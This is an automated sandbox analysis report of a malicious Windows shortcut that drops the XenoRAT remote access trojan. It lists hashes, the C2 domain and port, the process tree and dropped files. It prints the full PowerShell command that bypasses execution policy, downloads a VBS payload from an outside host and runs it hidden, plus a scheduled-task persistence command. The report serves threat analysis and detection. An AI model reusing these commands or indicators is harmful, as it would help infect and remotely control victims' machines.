Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-12-2024 05:48

General

  • Target

    TRANSFERENCIACOMPROBANTES.lnk

  • Size

    2KB

  • MD5

    cfd668a55ea2ee344f5a9badb6ff18b7

  • SHA1

    b3927747076a408a9e73afa0df3a6adadcbae950

  • SHA256

    05692e7735450069cc9e0c78bb80514c312d40ef47efbbbaae701a624fbabfba

  • SHA512

    e8976004a15afced95af6a14e0c8360be13014dffdcac71aff24964036318b9cec958ce87db71dfec79f88944367ed7c6beb0b6ba8187f7329d44b55fc3fa943

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs

Extracted

Family

xenorat

C2

dns.stipamana.com

Mutex

Xeno_rat_nd8912d

Attributes
  • delay

    12000

  • install_path

    appdata

  • port

    4567

  • startup_name

    mrec

Signatures

  • Detect XenoRat Payload 1 IoCs
  • XenorRat

    XenorRat is a remote access trojan written in C#.

  • Xenorat family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Office macro that triggers on suspicious action 1 IoCs

    Office document macro which triggers in special circumstances - often malicious.

  • Suspicious Office macro 1 IoCs

    Office document equipped with macros.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\TRANSFERENCIACOMPROBANTES.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:372
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass gfdhozhdfbofdjqbopntjfmdjtginrdf -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3204
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs"
        3⤵
        • Blocklisted process makes network request
        PID:3344
  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3720
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4744
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4956
        • C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
          "C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3464
          • C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2804
          • C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            5⤵
            • Executes dropped EXE
            PID:4756
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4756 -s 80
              6⤵
              • Program crash
              PID:4436
          • C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1692
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1576
        • C:\Windows\SysWOW64\schtasks.exe
          "schtasks.exe" /Create /TN "mrec" /XML "C:\Users\Admin\AppData\Local\Temp\tmp1085.tmp" /F
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:4280
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        3⤵
        • Executes dropped EXE
        PID:3716
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3716 -s 80
          4⤵
          • Program crash
          PID:3228
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3716 -ip 3716
    1⤵
      PID:2948
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4756 -ip 4756
      1⤵
        PID:4504

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GFKMTE.exe.log

        Filesize

        706B

        MD5

        d95c58e609838928f0f49837cab7dfd2

        SHA1

        55e7139a1e3899195b92ed8771d1ca2c7d53c916

        SHA256

        0407c814aef0d62aec7fd39b7c2f614746f0d8ff41f8ef957736f520f14b0339

        SHA512

        405310b29a833604c6627063bfdcf055a197e01f633ef21da238f1a6415a02e21315d689b4a6669db23e82152bed6f3492afb60963e6b2a0e9bb2ac09a480b5d

      • C:\Users\Admin\AppData\Local\Temp\TCD1273.tmp\iso690.xsl

        Filesize

        263KB

        MD5

        ff0e07eff1333cdf9fc2523d323dd654

        SHA1

        77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

        SHA256

        3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

        SHA512

        b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_olugrlkt.os4.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs

        Filesize

        10KB

        MD5

        087bcef76143b81090deef4ee4679995

        SHA1

        6ebd4fd212d0583157ae03bb0eb5841c53e281fc

        SHA256

        87334eb3f39cffdfeed453f67a7c338fe378b75c49946451ca1a0e4e151bba00

        SHA512

        b2f93705760d4d1cf5fe0ac354100916d16b6c4fd62117254238a600aabe6257fc791f1ce498bd2d0cfdd47e19f304dc5a68a06b7958658f34859afaa582ed4d

      • C:\Users\Admin\AppData\Local\Temp\tmp1085.tmp

        Filesize

        1KB

        MD5

        dabe93a03c5560ab1670cf79b8d28566

        SHA1

        69738fe43d4550ece028ff2795a54bbad0985414

        SHA256

        743e8b28a38e98ea27ef07f17b7529976979c7b01eab92586a6cb686c0d1f68d

        SHA512

        15b3b49c46901e00a73def834225df28fd843af1e9ae594c7d061406209f6ce57277673c9c1ae3ed541f989fa499fd3e88929e00ebded6d23301f8d3680a6c57

      • C:\Users\Admin\AppData\Local\Temp\¸¸.doc

        Filesize

        195KB

        MD5

        7ea9da3dd3db6f3fadf04ac76b54434b

        SHA1

        b30b950191046d999e71aaa54fb2648c6655ce9b

        SHA256

        947bce97211371e730a2b8b79c2ec4d154904e8faa7bed2583c5c6c420230170

        SHA512

        f94eb382dedb8c3952dbc0f3b9040201455cec641c845bedf5765a2772aa98cb20d92b3e0edadcd92fd7cdb77e7c6f37d26bdd276cceea733237e28f04240f9d

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe

        Filesize

        173KB

        MD5

        94a7e3859c2e4238421cdfe73d49603c

        SHA1

        03f03c5b5d8cf362aa52b9e793e7be398d779c21

        SHA256

        639135eb69333aba7ecb762072d8bef1d2db83e54edbe627dd223039142b8c91

        SHA512

        74048463606f7017bd8bd3c92773edde5a406247c5ea437b8ee580a3d9e65eb755aa44de466fc2aabef8b9a67c40163afeb3df9bc9fb35f8afe20814d5de85b5

      • memory/1576-256-0x0000000005B10000-0x0000000005B76000-memory.dmp

        Filesize

        408KB

      • memory/3204-13-0x00007FF9D5900000-0x00007FF9D63C1000-memory.dmp

        Filesize

        10.8MB

      • memory/3204-2-0x00007FF9D5903000-0x00007FF9D5905000-memory.dmp

        Filesize

        8KB

      • memory/3204-21-0x00007FF9D5900000-0x00007FF9D63C1000-memory.dmp

        Filesize

        10.8MB

      • memory/3204-14-0x00007FF9D5900000-0x00007FF9D63C1000-memory.dmp

        Filesize

        10.8MB

      • memory/3204-3-0x0000020779CD0000-0x0000020779CF2000-memory.dmp

        Filesize

        136KB

      • memory/3720-23-0x00007FF9B3950000-0x00007FF9B3960000-memory.dmp

        Filesize

        64KB

      • memory/3720-29-0x00007FF9B1540000-0x00007FF9B1550000-memory.dmp

        Filesize

        64KB

      • memory/3720-28-0x00007FF9B1540000-0x00007FF9B1550000-memory.dmp

        Filesize

        64KB

      • memory/3720-24-0x00007FF9B3950000-0x00007FF9B3960000-memory.dmp

        Filesize

        64KB

      • memory/3720-25-0x00007FF9B3950000-0x00007FF9B3960000-memory.dmp

        Filesize

        64KB

      • memory/3720-26-0x00007FF9B3950000-0x00007FF9B3960000-memory.dmp

        Filesize

        64KB

      • memory/3720-27-0x00007FF9B3950000-0x00007FF9B3960000-memory.dmp

        Filesize

        64KB

      • memory/4744-100-0x000000000E150000-0x000000000E6F4000-memory.dmp

        Filesize

        5.6MB

      • memory/4744-101-0x000000000DC40000-0x000000000DCD2000-memory.dmp

        Filesize

        584KB

      • memory/4744-102-0x0000000004BE0000-0x0000000004BE6000-memory.dmp

        Filesize

        24KB

      • memory/4744-99-0x000000000DB00000-0x000000000DB9C000-memory.dmp

        Filesize

        624KB

      • memory/4744-98-0x00000000050E0000-0x0000000005114000-memory.dmp

        Filesize

        208KB

      • memory/4744-97-0x0000000002AA0000-0x0000000002AA6000-memory.dmp

        Filesize

        24KB

      • memory/4744-96-0x0000000000790000-0x00000000007C0000-memory.dmp

        Filesize

        192KB

      • memory/4956-103-0x0000000000400000-0x0000000000412000-memory.dmp

        Filesize

        72KB